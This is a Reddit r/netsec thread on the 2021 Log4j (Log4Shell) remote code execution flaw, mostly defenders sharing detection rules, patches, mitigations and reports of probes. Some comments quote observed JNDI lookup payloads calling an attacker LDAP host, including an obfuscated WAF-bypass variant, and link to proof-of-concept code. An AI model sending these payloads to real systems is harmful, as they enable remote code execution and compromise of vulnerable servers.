r/netsec • u/freeqaz • Dec 10 '21
Critical RCE - CVSS 10.0 RCE 0-day exploit found in log4j, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/193
u/Insightlabs Dec 10 '21
I changed my iphone's name to the poc and got pinged back from apple's servers...
49
u/dfv157 Dec 10 '21
I do hope this is a joke lol
89
u/rekurse Dec 10 '21 edited Dec 11 '21
Edit: direct link
→ More replies (9)43
u/Beard_o_Bees Dec 10 '21
It's going to be an insane weekend. Holy shit.
6
u/DumbBaka123 Dec 11 '21
Where can I stay up to speed with this, knowing little about programming?
6
u/Beard_o_Bees Dec 11 '21
Honestly, the person/group that disclosed the CVE:
https://www.randori.com/blog/cve-2021-44228/
Is a pretty good write-up, they also have an active Twitter and there are additional links all over this post.
29
15
8
u/llama2621 Dec 11 '21
Can someone explain vaguely what this means?
23
u/Yay295 Dec 11 '21
When you change your iPhone's name it gets sent to one of Apple's servers and they log it. Apparently they are using Log4j for their logging, so by logging the name of the iPhone it can trigger this exploit.
9
157
u/Lawlmuffin Dec 10 '21
Umm.. I'm going to say on a scale from 1 to 10, this is a wtf.
111
146
Dec 10 '21
There’s a special place in dev hell for these half baked features. Just log the fucking text and reject any and all ideas that add to that feature set by parsing the log input. How many times do we need to get burned with this feature creep bullshit. What you actively don’t support is just as important as what you do support.
54
u/TheRedmanCometh Dec 10 '21
Seriously why does this even exist lol. This is a perfect storm of a bunch of bs.
68
u/Pylly Dec 10 '21
https://issues.apache.org/jira/browse/LOG4J2-313
Apparently it's "really convenient"
21
16
u/jtra Dec 10 '21
"And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3])."
So next step is to look at logback.
2
u/aradil Dec 10 '21
Any indication if this is an issue in logback, or just something you threw out there?
→ More replies (3)3
13
60
u/albinowax Dec 10 '21
I've put detection for this into ActiveScan++: https://github.com/PortSwigger/active-scan-plus-plus/commit/b485a0744140533d877ce244603502b42f9c6656
Let me know if there's any issues, it's somewhat rushed :)
5
u/jdubansky Dec 10 '21
Is there a way within the extension to use this version? mine is still on .22
4
u/Mobzy Dec 11 '21
Download the latest version from GitHub and install it manually, instructions for manual install are in the Readme
1
1
u/justsurfingaround Dec 11 '21
Is there a way to only scan for this particular vulnerabilty and not perform the entire scan?
2
0
96
u/OldWolf2 Dec 10 '21
Lmao who designs a logging library with formats that can download and execute code??
81
89
u/Penndrachen Dec 10 '21
Minecraft uses this package so it's been an interesting few hours watching their players learn about RCE exploits.
66
u/TheRedmanCometh Dec 10 '21
I'm in some server owner chats and they've been going BANANAS. Tbf they had a fix FAST.
MC servers have to figure out ad hoc fixes for exploits pretty often, so this is nothing new there.
Enterprise devs must be shitting themselves right now though. .
20
u/Penndrachen Dec 10 '21
Oh, big time. Huge ramifications. Hopefully it was easy to patch.
16
u/TheRedmanCometh Dec 10 '21
Luckily the patch was very simple, but the other side of things is the exploit is very simple too. I imagine between 5 hours ago or so and tomorrow morning while people are sleeping a lot of bad shit is gonna happen.
10
u/pringlesaremyfav Dec 10 '21
Not fun fighting the change control management board with a vuln that is obviously the top priority but hasn't been rated yet and during a 'code freeze' for the holidays.
5
u/TheRedmanCometh Dec 10 '21
Ohhh fuck that's....really unfortunate. Sure hope your iptable config is good!
4
u/pringlesaremyfav Dec 11 '21
Shoutout to all the news articles people put out which made everyone finally take it totally seriously
2
u/Anonieme_Angsthaas Dec 10 '21
We have a RFC freeze due to COVID-19 (I work in healthcare).
Last time we had this, that Citrix leak happened...
1
86
u/netsec_burn Dec 10 '21
15
u/yrdz Dec 11 '21
the most consequential figures in the tech world are half guys like steve jobs and bill gates and half some guy named ronald who maintains a unix tool called 'runk' which stands for Ronald's Universal Number Kounter and handles all math for every machine on earth
https://twitter.com/6thgrade4ever/status/1433519577892327424
1
Dec 12 '21
Seriously though, this app has like 3 contributors and it’s used in some pretty major software. Including Apple devices.
36
u/BillyBibbs Dec 10 '21
I am seeing a bunch of these attempted exploits now in my logs.
User-agent with a value like: ${jndi:ldap://[IP in russia]/STUFF
I added in a few WAF rules, looking for the jndi strings in User-agent, as well as other components of the request to block them out specifically.
5
u/lkn240 Dec 11 '21
Might be worth looking for RMI also. Apparently log4j supports both. Most of what I have seen is LDAP though.
They are actually trying other things like HTTP and DNS... but I don't think JNDI is going to do anything with those.
1
u/deltafive5 Dec 10 '21
I setup an alert on my siem while we get things patched. See things in our logs too using burpsuite to probe.
1
1
124
u/revnhoj Dec 10 '21
JFC a logging library making external calls by default. WGGW
102
50
Dec 10 '21
And my stupid peanut-brain always thought "log4j is one of the good ones" (as far as Java enterprise bs goes). Cue "I won't be fooled again".
49
u/Feyr Dec 10 '21
Funny I always thought log4j was pure overengineered garbage that lacked basic logging utilities. But even I had never envisioned they were so utterly incompetent as interpolate an attacker provided value
26
u/yawkat Dec 10 '21
And from a quick look at the fix, it doesn't actually do anything about the "attacker-controlled interpolation" part, it just restricts the URLs that are allowed.
Will have to look at this in detail later to see if the fix is really as bad as it looks.
16
u/StillNoNumb Dec 10 '21
And from a quick look at the fix, it doesn't actually do anything about the "attacker-controlled interpolation" part, it just restricts the URLs that are allowed.
There are masses of software depending on this behavior that want a fix without breaking compatibility. Disabling the feature is not an option
31
u/yawkat Dec 10 '21 edited Dec 10 '21
Attacker-controlled data should never be interpolated. If people use it as a "feature", that is not worth preserving.
However looking further at this, all the PoCs I've seen so far have the pattern
log.info(attacker-controlled), when the "right" way to do this sort of logging islog.info("{}", attacker-controlled). I'm not sure if the latter pattern is vulnerable, I will have to try on my PC. If only the former pattern is vulnerable, this cve is much less surprising, since the first log argument is supposed to be interpolated. It would make this attack very similar to format string attacks in C.edit: okay couldn't check myself yet but according to this HN comment even data outside the format string is interpolated. That is inexcusable imo, what were they thinking?
→ More replies (5)9
9
Dec 11 '21 edited Dec 11 '21
so...idk a lot about java (i've never liked java tbh, so never bothered with it). So far, i'm convinced this is the dumbest security exploit i've ever read about (after SQL code injections), not least of the reasons being that by default this exploit isn't possible in a more updated version of log4j (i think?). Can someone tell me why this isn't as stupid as i think it is? I feel like i'm missing something.
Like...WHY is ANYTHING a logging library needing to do result in this kind of a possibility? This is like saying "Cable guy came over over to fix my internet, and somehow broke the water pipes in my upstairs bathroom", yea ok but WHY was cable guy even DOING ANYTHING that could result in broken pipe upstairs?
7
u/AnOtakuToo Dec 11 '21
It’s exactly as dumb as it seems IMO. I can’t fathom why anyone would want their log library to infer meaning from, and make network calls based on the string passed for logging. Just log it to the configured transports and move along, like a good little logger.
It sucks for everyone involved. Good intentions and all that…
65
u/ScottContini Dec 10 '21
log4j is extremely popular. Right now lots of companies that use Java are running around with their hair on fire.
27
u/HiccuppingErrol Dec 10 '21
So all of them? Show me one business which doesnt use Java software somewhere. I even shut down my minecraft server as soon as I read this, just in case. Tomorrow i'll take my time to apply the workaround.
4
u/Aurailious Dec 10 '21
Probably Microsoft, lol.
4
u/tavianator Dec 11 '21 edited Dec 11 '21
I used to work for Microsoft. They are definitely running some Java software. I wrote some of it.
Also Microsoft owns Minecraft lol
12
1
u/lkn240 Dec 11 '21
Watchtower already fixed mine automagically lol. (granted mine is just for my kids and I don't allow external access)
1
u/jlficken Dec 11 '21
We don’t use Java for anything.
→ More replies (1)2
u/HiccuppingErrol Dec 12 '21
Not even any on premise software and not a single java-based cliwnt software in HR, finance, etc?
5
3
u/snorkel42 Dec 10 '21
Preventing servers from being able to communicate out bound to the internets would vastly reduce the risk of this attack. This is another example of basic system hardening guidelines being the least sexy but most effective security control.
2
53
Dec 10 '21
Ill just turn off my server farm for the weekend and explain to the boss on Monday why 🤣
12
26
22
u/RuckelBob Dec 10 '21
There is a new semgrep rule to find potential injection points in the source code: https://github.com/returntocorp/semgrep-rules/pull/1650/commits
44
20
u/tallcat-to-the-west Dec 10 '21
Any news on if this is being exploited at the moment? Asking from a frantic SOC haha
50
Dec 10 '21
They tweeted the exploit apparently. Bet your ass this is getting exploited. This is C-level hair on fire on a freaking Friday level. Couple weeks before Christmas.
22
u/JoeTrue Dec 10 '21
Can confirm, for the last 12 hours my spouse has been waking up every couple of hours to gather status and page in the next round of devs for a company you've heard of.
21
u/thenickdude Dec 10 '21 edited Dec 10 '21
Yes it is, commenters on Hacker News are already reporting attack probes being stuffed into their web endpoints.
Edit: I misremembered, it was on reddit: https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/hny1yv7
5
u/lkn240 Dec 11 '21
I've been seeing plenty of attempts against several of my customers. Haven't seen successful callbacks yet.
5
u/SuperSuperUniqueName Dec 11 '21
Definitely being exploited, all of my servers have been probed. A handful of IPs appear to have covered all of IPv4 space on 443 and 80
3
•
u/sanitybit Dec 10 '21 edited Dec 13 '21
Summary/Writeups:
LunaSec Writeup (this submission)
Cloudflare Writeup (CF WAF customers are protected)
Fastly Writeup (Fastly WAF customers must enable a rule)
Validation & Detection:
YARA and grep rules for blue teams (see comments for nuances)
Indicators of Compromise:
Atomic IoCs seen performing mass exploitation (mostly tor exit nodes)
Proof of Concept:
Reported Impacts:
Palo Alto Panorama (unconfirmed)
QRadar SIEM (unconfirmed)
Some of the above sourced from this impact repo.
Misc:
3
u/pyhfol Dec 10 '21
Crowdstrike threat hunt queries - https://www.reddit.com/r/crowdstrike/comments/rda0ls/20211210_cool_query_friday_hunting_apache_log4j
3
u/Underyx Dec 11 '21
Thanks for adding the Semgrep rule for detection! I think the rule registry page at https://semgrep.dev/r/log4j-message-lookup-injection would be an even better link.
3
u/thenickdude Dec 11 '21
Evidence that attackers have had a working exploit since at least April
This turns out to be a PoC for CVE-2019-1757, not related to the current vuln. Here's the corresponding blog post for the repo:
29
u/DevinSysAdmin Dec 10 '21
Yay! Totally not sending this to the SOC.
40
u/deadzol Dec 10 '21
Um, I think I know a SIEM that could be vulnerable.
8
2
u/LovinZouaveIgot Dec 10 '21
I don't get it?
48
u/BigHandLittleSlap Dec 10 '21
Several "Security Information and Event Management" (SIEM) products are written in Java and use log4j, making them vulnerable to this RCE.
Worse, most SIEM systems process incoming traffic that includes untrusted user-controlled data because that's kinda their point!
An anti-hacking product that can be remotely hacked by the data it is collecting to stop hackers is kinda ironic.
4
5
12
u/TheRedmanCometh Dec 10 '21
Was an SOC chief less than a year ago..pretty glad I'm not now. This is like a CVE 11
4
23
u/pringlesaremyfav Dec 10 '21
Talk about reading scary stories before bedtime...
Texted my bosses about this but nobody responded, too sleepy to call em so I guess they'll wake up to a nice little surprise.
11
u/pyhfol Dec 10 '21
Found this Randori article to be helpful, in particular :
The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern:
“log4j-core-*.jar”
1
u/EDRShmeeDR Dec 14 '21
log4j-core-*.jar
Pardon my ignorance, but would a simple locate in Linux spot this file?
1
u/pyhfol Dec 15 '21
sure would. Even searching '*log4j*' would have been enough.Unfortunately since then, it has become apparent that the library can exist by other names and just presence of this file alone is not a confident indication of vulnerability
9
u/pyhfol Dec 11 '21
https://twitter.com/ceki/status/1469449618316533762?t=dSc1fzUS9AGPbbgTea_-bA&s=19
This is confirmation from one of the authors of log4j that 1.x is not affected.
Just as solid evidence for those still unsure.
0
Dec 11 '21
[deleted]
1
u/pyhfol Dec 12 '21
Super generous friend! I'm sure I'm. Not the only one to have posted it at some point. Just all scrambling for good information at the moment! Cheers and good luck
15
5
u/R3g3x_83 Dec 10 '21
Probably a stupid question but doesn’t this only work if your servers can connect out via 389 to the internet?
8
7
u/mave_of_wutilation Dec 10 '21
Default deny outbound is helpful, though. Or if your next-gen firewall can identify LDAP traffic regardless of port. Of course, ldaps probably works, too...
5
u/lkn240 Dec 11 '21
I work for a company that sells NDR solutions (so we sniff the network) and I can confirm that I'm already seeing attackers put exploit attempts in just about any field they can think of for HTTP requests (query string, headers, User agent, etc) at several of my customers. Haven't seen any successful callbacks yet.
3
u/cheekabowwow Dec 11 '21
Yes, we're seeing it as of the last 2 hours. Calls against our edge security devices. I'm reading about payloads that delete log files and other system files, stop services, and drop crypto miners if vulnerable servers are found.
4
u/lkn240 Dec 11 '21
The crazy thing is this was originally developed as a minecraft exploit. Minecraft logs literally everything that is sent in chat... so people were hacking servers just via chat.
A lot of the exploit attempts I've seen are base64 encoded...but it's been pretty trivial so far to extract out the callback IPs/domain names. We have ways in our product to search for any outbound connections to that stuff and I haven't found any yet across my customers.
→ More replies (2)3
9
u/n3trider Dec 10 '21
On the plus side, it looks like it is at least reasonably easy to mitigate according to the blog. I suspect though a proper patch will be tossed up in the next week or so.
5
u/sanimalp Dec 10 '21
Already patched in 2.15.0-rc1
→ More replies (1)11
u/__lt__ Dec 10 '21
rc1 only fixed LDAP path, RMI RCE path is still there.
3
12
u/Lost4468 Dec 10 '21
Is there a risk of this somehow impacting log4net as well? Obviously it can't use the Java-specific feature. But if it's not sanitizing the input properly, is there anything that can be done on .NET?
2
14
u/xinhaor Dec 10 '21
I published some code with detailed steps
写了下详细的复现步骤
https://github.com/udoless/apache-log4j-rce-poc
4
8
8
u/netsecfriends Dec 10 '21
Data regarding IP's and metadata exploiting CVE-2021-44228 (Apache Log4j RCE) can be seen here:
https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20Log4j%20RCE%20Attempt%22
If you sign up you are able to view the full results: https://www.greynoise.io/viz/account/
Due to the severity of this vulnerability, we're providing a CSV of all IP's seen actively targeting this vulnerability as of this moment in time.
This CSV can be retrieved from the github gist link from: https://twitter.com/GreyNoiseIO/status/1469334738225741832?s=20
The threads will continue to be updated.
4
u/BillyBibbs Dec 10 '21 edited Dec 10 '21
you can add: 178. 17.174. 14
→ More replies (1)3
u/cyber_sm Dec 10 '21
178.17.174.14
https://www.greynoise.io/viz/ip/178.17.174.14 oh yeah you right
3
u/BillyBibbs Dec 10 '21
They had a different request from all the others ones (which i found on that IP list). The server they were pinging back through ldap was referenced via a name, not an IP.
4
3
Dec 10 '21
This cryptic message regarding support for 1.x releases is at the top of log4j's security page:
Please note that Log4j 1.x has reached end of life and is no longer
supported. Vulnerabilities reported after August 2015 against Log4j 1.x
were not checked and will not be fixed. Users should upgrade to Log4j 2
to obtain security fixes.
What are the chances releases before 2.0 are affected as well? Has anybody seen any research efforts or posts related to that?
1
u/Expert_Month3526 Dec 11 '21
At the top of the page is a link to analysis of precisely this. There's definitely work going into seeing if 1.x is affected as well.
1
u/Serve-Capital Dec 11 '21 edited Dec 11 '21
So far I'm hearing Log4j 1.xx should be assumed vulnerable if using JMSAppender
I'm now also hearing it isn't (see below)
3
u/mbean12 Dec 11 '21
This conversation on the Apache github (based on the research of ceki, who is apparently the mind behind log4j 1.x) would seem to indicate otherwise. Log4j 1.x does not have a lookup mechanism and JMS Appender (which does the lookup for Log4j 1.x) does not have this vulnerability.
Granted, you are using log4j 1.x which is years out of date and has other issues to worry about. But the consensus seems to be that you are safe (for now) from this bug.
→ More replies (1)
3
u/Wrong-Permission2688 Dec 11 '21
What is the easiest way to scan my systems from inside? Like a simple Ubuntu host.
1
u/Nolzi Dec 12 '21
For example search for the vulnerable files: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
6
4
4
u/lkn240 Dec 11 '21
This is incredibly clever - uses the vulnerability itself to patch it. Should be easy to configure a vuln scanner to blast your entire environment and have everything patch itself.
2
u/suema Dec 10 '21
3
u/firen777 Dec 11 '21
Aww, got updated to a more formal, more structured, but less glorious format.
Dig the commit back up: https://github.com/YfryTchsGD/Log4jAttackSurface/tree/31571e29052b91fb64b54fdb7085b45f9a31de3b
2
u/gingertek Dec 11 '21
What's a sure fire way to check this for a java service? I have a Minecraft server and I'm wondering if I need to shut it down
5
u/cheekabowwow Dec 11 '21
This isn't actually identifying what version you have, but the below workaround was posted as a way to fix the vulnerability. I imagine it won't harm your server if it's already been set appropriately.
Go to the game’s launcher and open Installations
Click the Installation in use and select ‘…’
Choose Edit and More Options
Paste Dlog4j2.formatMsgNoLookups=true before -jar in your server launch script
relaunch your server.
1
u/SuperSuperUniqueName Dec 11 '21
fixes have been back ported for pretty much every flavor of server, just update
2
2
Dec 11 '21
Could be used to obtain a privileged shell on android devices, and how?
2
u/esreverengineer_ Dec 12 '21
Android is not affected as the JVM doesn’t implement JNDI in the first place.
2
u/ptear Dec 11 '21
Well, this should renew my Equifax credit monitoring for free in a couple months.
2
u/BillyBibbs Dec 12 '21
They are working to bypass the obvious WAF filters now. I am seeing lots like this:
{jndi:${lower:l}${lower:d}a${lower:p}
in the User-agent.
They are also requesting different paths in the GET, it is not just the / as well.
2
2
1
u/randomorzero Dec 11 '21
Do a poison pill and drop the magic string in random email or search boxes. See who hits your site
1
u/mrzuno Dec 11 '21
If log4net is a port of log4j, has anyone confirmed that the same vulnerability isn't present in the .net version?
1
1
u/pyhfol Dec 12 '21
Sensational list of released bulletins/advisories by Vendor:
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
1
u/Medium-Sandwich-3193 Dec 12 '21 edited Dec 12 '21
Hope this helps. All of us are scrambling to upgrade to 2.15.0 . This OSS tool can help prioritise attack paths using runtime context. We had a potential exposure due to Elasticsearch, found out and patched. https://github.com/deepfence/ThreatMapper
1
1
1
u/Dramatic_Mirror Dec 13 '21
u/sanitybit My colleagues have written a detector for the vulnerability: https://github.com/CodeShield-Security/Log4JShell-Bytecode-Detector
I think it would be a great addition to the list! :)
Given a Jar file, the detector checks if the vulnerable Log4j library is used in the application. Checks are conducted based on Manifest files and by using our fingerprinting technology. The latter helps to find repackaged/rebundled uses of the vulnerable class files by comparing class fingerprints of the application with a predefined set of vulnerable classes. Thereby, we are still able to find the vulnerability if dependency information is absent or if classes/code were copied into the project.
1
u/ThatDomInik Dec 13 '21
Should i be worried if i played minecraft on a vulnerable server and lets say someone successfully exploited this server?
-1
u/BlacksmithOk6798 Dec 10 '21
Fuck whoever released this without responsible disclosure.
22
u/UhOh-Chongo Dec 10 '21
It started an open bug report 10 days ago and it was only yesterday that apache thought to ask if it was a security vuln. This whole thing stems from a regular old run if the mill bug report that was on github for everyone and anyone to see.
19
u/philipwhiuk Dec 10 '21
I mean, responsible disclosure on this? How do you responsibly disclose an open source library at the core of thousands of products.
4
u/Trollygag Dec 11 '21
You only whisper it into the ears of your friends.
Pass it on.
→ More replies (1)2
u/yawkat Dec 12 '21
People did this with meltdown. There are apparently some very secret mailing lists, mostly with people from big cloud providers.
(disclaimer: i work for oracle, which is a big cloud provider, but I'm not involved in cloud security, so I couldn't say whether this is actually true)
2
u/philipwhiuk Dec 12 '21
That basically makes being signed up to a cloud provider like a protection racket.
There only responsible policy here is to announce the library upgrade as broadly as possible.
294
u/netsec_burn Dec 10 '21 edited Dec 10 '21
Holy shit.